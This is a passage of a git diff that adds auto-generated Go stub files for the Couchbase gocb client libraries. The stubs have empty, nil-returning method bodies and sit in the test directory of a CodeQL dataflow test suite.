+}
+
+func (_ *DocumentFragment) ContentByIndex(_ int, _ interface{}) error {
+	return nil
+}
+
+func (_ *DocumentFragment) Exists(_ string) bool {
+	return false
+}
+
+func (_ *DocumentFragment) MutationToken() MutationToken {
+	return MutationToken{}
+}
+
+type IdGeneratorFunction func(interface{}) (string, error)
+
+type IndexInfo struct {
+	Name      string
+	IsPrimary bool
+	Type      IndexType
+	State     string
+	Keyspace  string
+	Namespace string
+	IndexKey  []string
+}
+
+type IndexType string
+
+type LookupInBuilder struct{}
+
+func (_ *LookupInBuilder) Execute() (*DocumentFragment, error) {
+	return nil, nil
+}
+
+func (_ *LookupInBuilder) Exists(_ string) *LookupInBuilder {
+	return nil
+}
+
+func (_ *LookupInBuilder) ExistsEx(_ string, _ SubdocFlag) *LookupInBuilder {
+	return nil
+}
+
+func (_ *LookupInBuilder) Get(_ string) *LookupInBuilder {
+	return nil
+}
+
+func (_ *LookupInBuilder) GetCount(_ string) *LookupInBuilder {
+	return nil
+}
+
+func (_ *LookupInBuilder) GetCountEx(_ string, _ SubdocFlag) *LookupInBuilder {
+	return nil
+}
+
+func (_ *LookupInBuilder) GetEx(_ string, _ SubdocFlag) *LookupInBuilder {
+	return nil
+}
+
+type MutateInBuilder struct{}
+
+func (_ *MutateInBuilder) ArrayAddUnique(_ string, _ interface{}, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayAddUniqueEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayAppend(_ string, _ interface{}, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayAppendEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayAppendMulti(_ string, _ interface{}, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayAppendMultiEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayInsert(_ string, _ interface{}) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayInsertEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayInsertMulti(_ string, _ interface{}) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayInsertMultiEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayPrepend(_ string, _ interface{}, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayPrependEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayPrependMulti(_ string, _ interface{}, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ArrayPrependMultiEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) Counter(_ string, _ int64, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) CounterEx(_ string, _ int64, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) Execute() (*DocumentFragment, error) {
+	return nil, nil
+}
+
+func (_ *MutateInBuilder) Insert(_ string, _ interface{}, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) InsertEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) Remove(_ string) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) RemoveEx(_ string, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) Replace(_ string, _ interface{}) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) ReplaceEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) Upsert(_ string, _ interface{}, _ bool) *MutateInBuilder {
+	return nil
+}
+
+func (_ *MutateInBuilder) UpsertEx(_ string, _ interface{}, _ SubdocFlag) *MutateInBuilder {
+	return nil
+}
+
+type MutationState struct{}
+
+func (_ *MutationState) Add(_ ...MutationToken) {}
+
+func (_ *MutationState) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *MutationState) UnmarshalJSON(_ []byte) error {
+	return nil
+}
+
+type MutationToken struct{}
+
+type N1qlQuery struct{}
+
+func (_ *N1qlQuery) AdHoc(_ bool) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) Consistency(_ ConsistencyMode) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) ConsistentWith(_ *MutationState) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) Custom(_ string, _ interface{}) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) PipelineBatch(_ int) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) PipelineCap(_ int) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) Profile(_ QueryProfileType) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) ReadOnly(_ bool) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) ScanCap(_ int) *N1qlQuery {
+	return nil
+}
+
+func (_ *N1qlQuery) Timeout(_ time.Duration) *N1qlQuery {
+	return nil
+}
+
+type NodeMetadata struct {
+	ClusterCompatibility int
+	ClusterMembership    string
+	CouchAPIBase         string
+	Hostname             string
+	InterestingStats     map[string]float64
+	MCDMemoryAllocated   float64
+	MCDMemoryReserved    float64
+	MemoryFree           float64
+	MemoryTotal          float64
+	OS                   string
+	Ports                map[string]int
+	Status               string
+	Uptime               int
+	Version              string
+	ThisNode             bool
+}
+
+type PingReport struct {
+	Services []PingServiceEntry
+}
+
+func (_ *PingReport) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+type PingServiceEntry struct {
+	Service  ServiceType
+	Endpoint string
+	Success  bool
+	Latency  time.Duration
+}
+
+type QueryProfileType string
+
+type QueryResultMetrics struct {
+	ElapsedTime   time.Duration
+	ExecutionTime time.Duration
+	ResultCount   uint
+	ResultSize    uint
+	MutationCount uint
+	SortCount     uint
+	ErrorCount    uint
+	WarningCount  uint
+}
+
+type QueryResults interface {
+	ClientContextId() string
+	Close() error
+	Metrics() QueryResultMetrics
+	Next(_ interface{}) bool
+	NextBytes() []byte
+	One(_ interface{}) error
+	Profile() interface{}
+	RequestId() string
+	SourceEndpoint() string
+}
+
+type QueryRetryBehavior interface {
+	CanRetry(_ uint) bool
+	NextInterval(_ uint) time.Duration
+}
+
+type SearchHighlightStyle string
+
+type SearchIndexDefinitionBuilder struct{}
+
+func (_ *SearchIndexDefinitionBuilder) AddField(_ string, _ interface{}) *SearchIndexDefinitionBuilder {
+	return nil
+}
+
+type SearchIndexManager struct{}
+
+func (_ *SearchIndexManager) CreateIndex(_ SearchIndexDefinitionBuilder) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) DeleteIndex(_ string) (bool, error) {
+	return false, nil
+}
+
+func (_ *SearchIndexManager) GetAllIndexDefinitions() ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetAllIndexPartitionInfo() (interface{}, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetAllIndexStats() (interface{}, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetIndexDefinition(_ string) (interface{}, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetIndexPartitionIndexedDocumentCount(_ string) (int, error) {
+	return 0, nil
+}
+
+func (_ *SearchIndexManager) GetIndexPartitionInfo(_ string) (interface{}, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetIndexStats(_ string) (interface{}, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetIndexedDocumentCount(_ string) (int, error) {
+	return 0, nil
+}
+
+func (_ *SearchIndexManager) SetIndexIngestion(_ string, _ string) (bool, error) {
+	return false, nil
+}
+
+func (_ *SearchIndexManager) SetIndexPlanFreeze(_ string, _ string) (bool, error) {
+	return false, nil
+}
+
+func (_ *SearchIndexManager) SetIndexQuerying(_ string, _ string) (bool, error) {
+	return false, nil
+}
+
+type SearchQuery struct{}
+
+func (_ *SearchQuery) AddFacet(_ string, _ interface{}) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Consistency(_ ConsistencyMode) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) ConsistentWith(_ *MutationState) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Explain(_ bool) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Fields(_ ...string) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Highlight(_ SearchHighlightStyle, _ ...string) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Limit(_ int) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Skip(_ int) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Sort(_ ...interface{}) *SearchQuery {
+	return nil
+}
+
+func (_ *SearchQuery) Timeout(_ time.Duration) *SearchQuery {
+	return nil
+}
+
+type SearchResultDateFacet struct {
+	Name  string
+	Min   string
+	Max   string
+	Count int
+}
+
+type SearchResultFacet struct {
+	Field         string
+	Total         int
+	Missing       int
+	Other         int
+	Terms         []SearchResultTermFacet
+	NumericRanges []SearchResultNumericFacet
+	DateRanges    []SearchResultDateFacet
+}
+
+type SearchResultHit struct {
+	Index       string
+	Id          string
+	Score       float64
+	Explanation map[string]interface{}
+	Locations   map[string]map[string][]SearchResultLocation
+	Fragments   map[string][]string
+	Fields      map[string]string
+	AllFields   map[string]interface{}
+}
+
+type SearchResultLocation struct {
+	Position       int
+	Start          int
+	End            int
+	ArrayPositions []uint
+}
+
+type SearchResultNumericFacet struct {
+	Name  string
+	Min   float64
+	Max   float64
+	Count int
+}
+
+type SearchResultStatus struct {
+	Total      int
+	Failed     int
+	Successful int
+	Errors     interface{}
+}
+
+type SearchResultTermFacet struct {
+	Term  string
+	Count int
+}
+
+type SearchResults interface {
+	Errors() []string
+	Facets() map[string]SearchResultFacet
+	Hits() []SearchResultHit
+	MaxScore() float64
+	Status() SearchResultStatus
+	Took() time.Duration
+	TotalHits() int
+}
+
+type ServerStats map[string]map[string]string
+
+type ServiceType int
+
+type SortOrder int
+
+type SpatialQuery struct{}
+
+func (_ *SpatialQuery) Bbox(_ []float64) *SpatialQuery {
+	return nil
+}
+
+func (_ *SpatialQuery) Custom(_ string, _ string) *SpatialQuery {
+	return nil
+}
+
+func (_ *SpatialQuery) Development(_ bool) *SpatialQuery {
+	return nil
+}
+
+func (_ *SpatialQuery) Limit(_ uint) *SpatialQuery {
+	return nil
+}
+
+func (_ *SpatialQuery) Skip(_ uint) *SpatialQuery {
+	return nil
+}
+
+func (_ *SpatialQuery) Stale(_ StaleMode) *SpatialQuery {
+	return nil
+}
+
+type StaleMode int
+
+type StreamingBucket struct{}
+
+func (_ *StreamingBucket) IoRouter() interface{} {
+	return nil
+}
+
+type SubdocDocFlag uint8
+
+type SubdocFlag uint8
+
+type Transcoder interface {
+	Decode(_ []byte, _ uint32, _ interface{}) error
+	Encode(_ interface{}) ([]byte, uint32, error)
+}
+
+type User struct {
+	Id    string
+	Name  string
+	Type  string
+	Roles []UserRole
+}
+
+type UserPassPair struct {
+	Username string
+	Password string
+}
+
+type UserRole struct {
+	Role       string
+	BucketName string
+}
+
+type UserSettings struct {
+	Name     string
+	Password string
+	Roles    []UserRole
+}
+
+type View struct {
+	Map    string
+	Reduce string
+}
+
+type ViewQuery struct{}
+
+func (_ *ViewQuery) Custom(_ string, _ string) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Development(_ bool) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Group(_ bool) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) GroupLevel(_ uint) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) IdRange(_ string, _ string) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Key(_ interface{}) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Keys(_ []interface{}) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Limit(_ uint) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Order(_ SortOrder) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Range(_ interface{}, _ interface{}, _ bool) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Reduce(_ bool) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Skip(_ uint) *ViewQuery {
+	return nil
+}
+
+func (_ *ViewQuery) Stale(_ StaleMode) *ViewQuery {
+	return nil
+}
+
+type ViewResults interface {
+	Close() error
+	Next(_ interface{}) bool
+	NextBytes() []byte
+	One(_ interface{}) error
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/couchbase/gocb/v2/stub.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/couchbase/gocb/v2/stub.go
new file mode 100644
index 000000000000..d04a5d768c47
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/couchbase/gocb/v2/stub.go
@@ -0,0 +1,3053 @@
+// Code generated by depstubber. DO NOT EDIT.
+// This is a simple stub for github.com/couchbase/gocb/v2, strictly for use in testing.
+
+// See the LICENSE file for information about the licensing of the original library.
+// Source: github.com/couchbase/gocb/v2 (exports: AnalyticsResult,AnalyticsResultRaw,Cluster,Collection,ExistsResult,GetResult,LookupInReplicaResult,LookupInResult,MutateInResult,MutationResult,QueryResult,QueryResultRaw,Result,ScanResult,ScanResultItem,Scope,SearchResult,SearchResultRaw,TransactionAttemptContext,TransactionGetResult,TransactionQueryResult,ViewIndexManager,ViewResult,ViewResultRaw; functions: )
+
+// Package gocb is a stub of github.com/couchbase/gocb/v2, generated by depstubber.
+package gocb
+
+import (
+	context "context"
+	time "time"
+)
+
+type AllowQueryingSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type AnalyticsDataset struct {
+	Name          string
+	DataverseName string
+	LinkName      string
+	BucketName    string
+}
+
+type AnalyticsIndex struct {
+	Name          string
+	DatasetName   string
+	DataverseName string
+	IsPrimary     bool
+}
+
+type AnalyticsIndexManager struct{}
+
+func (_ *AnalyticsIndexManager) ConnectLink(_ *ConnectAnalyticsLinkOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) CreateDataset(_ string, _ string, _ *CreateAnalyticsDatasetOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) CreateDataverse(_ string, _ *CreateAnalyticsDataverseOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) CreateIndex(_ string, _ string, _ map[string]string, _ *CreateAnalyticsIndexOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) CreateLink(_ AnalyticsLink, _ *CreateAnalyticsLinkOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) DisconnectLink(_ *DisconnectAnalyticsLinkOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) DropDataset(_ string, _ *DropAnalyticsDatasetOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) DropDataverse(_ string, _ *DropAnalyticsDataverseOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) DropIndex(_ string, _ string, _ *DropAnalyticsIndexOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) DropLink(_ string, _ string, _ *DropAnalyticsLinkOptions) error {
+	return nil
+}
+
+func (_ *AnalyticsIndexManager) GetAllDatasets(_ *GetAllAnalyticsDatasetsOptions) ([]AnalyticsDataset, error) {
+	return nil, nil
+}
+
+func (_ *AnalyticsIndexManager) GetAllIndexes(_ *GetAllAnalyticsIndexesOptions) ([]AnalyticsIndex, error) {
+	return nil, nil
+}
+
+func (_ *AnalyticsIndexManager) GetLinks(_ *GetAnalyticsLinksOptions) ([]AnalyticsLink, error) {
+	return nil, nil
+}
+
+func (_ *AnalyticsIndexManager) GetPendingMutations(_ *GetPendingMutationsAnalyticsOptions) (map[string]map[string]int, error) {
+	return nil, nil
+}
+
+func (_ *AnalyticsIndexManager) ReplaceLink(_ AnalyticsLink, _ *ReplaceAnalyticsLinkOptions) error {
+	return nil
+}
+
+type AnalyticsLink interface {
+	DataverseName() string
+	FormEncode() ([]byte, error)
+	LinkType() AnalyticsLinkType
+	Name() string
+	Validate() error
+}
+
+type AnalyticsLinkType string
+
+type AnalyticsMetaData struct {
+	RequestID       string
+	ClientContextID string
+	Metrics         AnalyticsMetrics
+	Signature       interface{}
+	Warnings        []AnalyticsWarning
+}
+
+type AnalyticsMetrics struct {
+	ElapsedTime      time.Duration
+	ExecutionTime    time.Duration
+	ResultCount      uint64
+	ResultSize       uint64
+	MutationCount    uint64
+	SortCount        uint64
+	ErrorCount       uint64
+	WarningCount     uint64
+	ProcessedObjects uint64
+}
+
+type AnalyticsOptions struct {
+	ClientContextID      string
+	Priority             bool
+	PositionalParameters []interface{}
+	NamedParameters      map[string]interface{}
+	Readonly             bool
+	ScanConsistency      AnalyticsScanConsistency
+	Raw                  map[string]interface{}
+	Timeout              time.Duration
+	RetryStrategy        RetryStrategy
+	ParentSpan           RequestSpan
+	Context              context.Context
+	Internal             struct {
+		User string
+	}
+}
+
+type AnalyticsResult struct{}
+
+func (_ *AnalyticsResult) Close() error {
+	return nil
+}
+
+func (_ *AnalyticsResult) Err() error {
+	return nil
+}
+
+func (_ *AnalyticsResult) MetaData() (*AnalyticsMetaData, error) {
+	return nil, nil
+}
+
+func (_ *AnalyticsResult) Next() bool {
+	return false
+}
+
+func (_ *AnalyticsResult) One(_ interface{}) error {
+	return nil
+}
+
+func (_ *AnalyticsResult) Raw() *AnalyticsResultRaw {
+	return nil
+}
+
+func (_ *AnalyticsResult) Row(_ interface{}) error {
+	return nil
+}
+
+type AnalyticsResultRaw struct{}
+
+func (_ *AnalyticsResultRaw) Close() error {
+	return nil
+}
+
+func (_ *AnalyticsResultRaw) Err() error {
+	return nil
+}
+
+func (_ *AnalyticsResultRaw) MetaData() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *AnalyticsResultRaw) NextBytes() []byte {
+	return nil
+}
+
+type AnalyticsScanConsistency uint
+
+type AnalyticsWarning struct {
+	Code    uint32
+	Message string
+}
+
+type AnalyzeDocumentOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type AppendOptions struct {
+	Timeout         time.Duration
+	DurabilityLevel DurabilityLevel
+	PersistTo       uint
+	ReplicateTo     uint
+	Cas             Cas
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type AttemptFunc func(*TransactionAttemptContext) error
+
+type AuthDomain string
+
+type BinaryCollection struct{}
+
+func (_ *BinaryCollection) Append(_ string, _ []byte, _ *AppendOptions) (*MutationResult, error) {
+	return nil, nil
+}
+
+func (_ *BinaryCollection) Decrement(_ string, _ *DecrementOptions) (*CounterResult, error) {
+	return nil, nil
+}
+
+func (_ *BinaryCollection) Increment(_ string, _ *IncrementOptions) (*CounterResult, error) {
+	return nil, nil
+}
+
+func (_ *BinaryCollection) Prepend(_ string, _ []byte, _ *PrependOptions) (*MutationResult, error) {
+	return nil, nil
+}
+
+type Bucket struct{}
+
+func (_ *Bucket) Collection(_ string) *Collection {
+	return nil
+}
+
+func (_ *Bucket) Collections() *CollectionManager {
+	return nil
+}
+
+func (_ *Bucket) CollectionsV2() *CollectionManagerV2 {
+	return nil
+}
+
+func (_ *Bucket) DefaultCollection() *Collection {
+	return nil
+}
+
+func (_ *Bucket) DefaultScope() *Scope {
+	return nil
+}
+
+func (_ *Bucket) Internal() *InternalBucket {
+	return nil
+}
+
+func (_ *Bucket) Name() string {
+	return ""
+}
+
+func (_ *Bucket) Ping(_ *PingOptions) (*PingResult, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) Scope(_ string) *Scope {
+	return nil
+}
+
+func (_ *Bucket) ViewIndexes() *ViewIndexManager {
+	return nil
+}
+
+func (_ *Bucket) ViewQuery(_ string, _ string, _ *ViewOptions) (*ViewResult, error) {
+	return nil, nil
+}
+
+func (_ *Bucket) WaitUntilReady(_ time.Duration, _ *WaitUntilReadyOptions) error {
+	return nil
+}
+
+type BucketManager struct{}
+
+func (_ *BucketManager) CreateBucket(_ CreateBucketSettings, _ *CreateBucketOptions) error {
+	return nil
+}
+
+func (_ *BucketManager) DropBucket(_ string, _ *DropBucketOptions) error {
+	return nil
+}
+
+func (_ *BucketManager) FlushBucket(_ string, _ *FlushBucketOptions) error {
+	return nil
+}
+
+func (_ *BucketManager) GetAllBuckets(_ *GetAllBucketsOptions) (map[string]BucketSettings, error) {
+	return nil, nil
+}
+
+func (_ *BucketManager) GetBucket(_ string, _ *GetBucketOptions) (*BucketSettings, error) {
+	return nil, nil
+}
+
+func (_ *BucketManager) UpdateBucket(_ BucketSettings, _ *UpdateBucketOptions) error {
+	return nil
+}
+
+type BucketSettings struct {
+	Name                              string
+	FlushEnabled                      bool
+	ReplicaIndexDisabled              bool
+	RAMQuotaMB                        uint64
+	NumReplicas                       uint32
+	BucketType                        BucketType
+	EvictionPolicy                    EvictionPolicyType
+	MaxTTL                            time.Duration
+	MaxExpiry                         time.Duration
+	CompressionMode                   CompressionMode
+	MinimumDurabilityLevel            DurabilityLevel
+	StorageBackend                    StorageBackend
+	HistoryRetentionCollectionDefault HistoryRetentionCollectionDefault
+	HistoryRetentionBytes             uint64
+	HistoryRetentionDuration          time.Duration
+}
+
+type BucketType string
+
+type BuildDeferredQueryIndexOptions struct {
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ScopeName      string
+	CollectionName string
+	Context        context.Context
+}
+
+type BulkOp interface{}
+
+type BulkOpOptions struct {
+	Timeout       time.Duration
+	Transcoder    Transcoder
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type Capability uint32
+
+type CapabilityStatus uint32
+
+type Cas uint64
+
+type ChangePasswordOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type Cluster struct{}
+
+func (_ *Cluster) AnalyticsIndexes() *AnalyticsIndexManager {
+	return nil
+}
+
+func (_ *Cluster) AnalyticsQuery(_ string, _ *AnalyticsOptions) (*AnalyticsResult, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) Bucket(_ string) *Bucket {
+	return nil
+}
+
+func (_ *Cluster) Buckets() *BucketManager {
+	return nil
+}
+
+func (_ *Cluster) Close(_ *ClusterCloseOptions) error {
+	return nil
+}
+
+func (_ *Cluster) Diagnostics(_ *DiagnosticsOptions) (*DiagnosticsResult, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) EventingFunctions() *EventingFunctionManager {
+	return nil
+}
+
+func (_ *Cluster) Internal() *InternalCluster {
+	return nil
+}
+
+func (_ *Cluster) Ping(_ *PingOptions) (*PingResult, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) Query(_ string, _ *QueryOptions) (*QueryResult, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) QueryIndexes() *QueryIndexManager {
+	return nil
+}
+
+func (_ *Cluster) Search(_ string, _ SearchRequest, _ *SearchOptions) (*SearchResult, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) SearchIndexes() *SearchIndexManager {
+	return nil
+}
+
+func (_ *Cluster) SearchQuery(_ string, _ interface{}, _ *SearchOptions) (*SearchResult, error) {
+	return nil, nil
+}
+
+func (_ *Cluster) Transactions() *Transactions {
+	return nil
+}
+
+func (_ *Cluster) Users() *UserManager {
+	return nil
+}
+
+func (_ *Cluster) WaitUntilReady(_ time.Duration, _ *WaitUntilReadyOptions) error {
+	return nil
+}
+
+type ClusterCloseOptions struct{}
+
+type ClusterState uint
+
+type Collection struct{}
+
+func (_ *Collection) Binary() *BinaryCollection {
+	return nil
+}
+
+func (_ *Collection) Bucket() *Bucket {
+	return nil
+}
+
+func (_ *Collection) Do(_ []BulkOp, _ *BulkOpOptions) error {
+	return nil
+}
+
+func (_ *Collection) Exists(_ string, _ *ExistsOptions) (*ExistsResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) Get(_ string, _ *GetOptions) (*GetResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) GetAllReplicas(_ string, _ *GetAllReplicaOptions) (*GetAllReplicasResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) GetAndLock(_ string, _ time.Duration, _ *GetAndLockOptions) (*GetResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) GetAndTouch(_ string, _ time.Duration, _ *GetAndTouchOptions) (*GetResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) GetAnyReplica(_ string, _ *GetAnyReplicaOptions) (*GetReplicaResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) Insert(_ string, _ interface{}, _ *InsertOptions) (*MutationResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) List(_ string) *CouchbaseList {
+	return nil
+}
+
+func (_ *Collection) LookupIn(_ string, _ []LookupInSpec, _ *LookupInOptions) (*LookupInResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) LookupInAllReplicas(_ string, _ []LookupInSpec, _ *LookupInAllReplicaOptions) (*LookupInAllReplicasResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) LookupInAnyReplica(_ string, _ []LookupInSpec, _ *LookupInAnyReplicaOptions) (*LookupInReplicaResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) Map(_ string) *CouchbaseMap {
+	return nil
+}
+
+func (_ *Collection) MutateIn(_ string, _ []MutateInSpec, _ *MutateInOptions) (*MutateInResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) Name() string {
+	return ""
+}
+
+func (_ *Collection) QueryIndexes() *CollectionQueryIndexManager {
+	return nil
+}
+
+func (_ *Collection) Queue(_ string) *CouchbaseQueue {
+	return nil
+}
+
+func (_ *Collection) Remove(_ string, _ *RemoveOptions) (*MutationResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) Replace(_ string, _ interface{}, _ *ReplaceOptions) (*MutationResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) Scan(_ ScanType, _ *ScanOptions) (*ScanResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) ScopeName() string {
+	return ""
+}
+
+func (_ *Collection) Set(_ string) *CouchbaseSet {
+	return nil
+}
+
+func (_ *Collection) Touch(_ string, _ time.Duration, _ *TouchOptions) (*MutationResult, error) {
+	return nil, nil
+}
+
+func (_ *Collection) Unlock(_ string, _ Cas, _ *UnlockOptions) error {
+	return nil
+}
+
+func (_ *Collection) Upsert(_ string, _ interface{}, _ *UpsertOptions) (*MutationResult, error) {
+	return nil, nil
+}
+
+type CollectionHistorySettings struct {
+	Enabled bool
+}
+
+type CollectionManager struct{}
+
+func (_ *CollectionManager) CreateCollection(_ CollectionSpec, _ *CreateCollectionOptions) error {
+	return nil
+}
+
+func (_ *CollectionManager) CreateScope(_ string, _ *CreateScopeOptions) error {
+	return nil
+}
+
+func (_ *CollectionManager) DropCollection(_ CollectionSpec, _ *DropCollectionOptions) error {
+	return nil
+}
+
+func (_ *CollectionManager) DropScope(_ string, _ *DropScopeOptions) error {
+	return nil
+}
+
+func (_ *CollectionManager) GetAllScopes(_ *GetAllScopesOptions) ([]ScopeSpec, error) {
+	return nil, nil
+}
+
+func (_ *CollectionManager) UpdateCollection(_ CollectionSpec, _ *UpdateCollectionOptions) error {
+	return nil
+}
+
+type CollectionManagerV2 struct{}
+
+func (_ *CollectionManagerV2) CreateCollection(_ string, _ string, _ *CreateCollectionSettings, _ *CreateCollectionOptions) error {
+	return nil
+}
+
+func (_ *CollectionManagerV2) CreateScope(_ string, _ *CreateScopeOptions) error {
+	return nil
+}
+
+func (_ *CollectionManagerV2) DropCollection(_ string, _ string, _ *DropCollectionOptions) error {
+	return nil
+}
+
+func (_ *CollectionManagerV2) DropScope(_ string, _ *DropScopeOptions) error {
+	return nil
+}
+
+func (_ *CollectionManagerV2) GetAllScopes(_ *GetAllScopesOptions) ([]ScopeSpec, error) {
+	return nil, nil
+}
+
+func (_ *CollectionManagerV2) UpdateCollection(_ string, _ string, _ UpdateCollectionSettings, _ *UpdateCollectionOptions) error {
+	return nil
+}
+
+type CollectionQueryIndexManager struct{}
+
+func (_ *CollectionQueryIndexManager) BuildDeferredIndexes(_ *BuildDeferredQueryIndexOptions) ([]string, error) {
+	return nil, nil
+}
+
+func (_ *CollectionQueryIndexManager) CreateIndex(_ string, _ []string, _ *CreateQueryIndexOptions) error {
+	return nil
+}
+
+func (_ *CollectionQueryIndexManager) CreatePrimaryIndex(_ *CreatePrimaryQueryIndexOptions) error {
+	return nil
+}
+
+func (_ *CollectionQueryIndexManager) DropIndex(_ string, _ *DropQueryIndexOptions) error {
+	return nil
+}
+
+func (_ *CollectionQueryIndexManager) DropPrimaryIndex(_ *DropPrimaryQueryIndexOptions) error {
+	return nil
+}
+
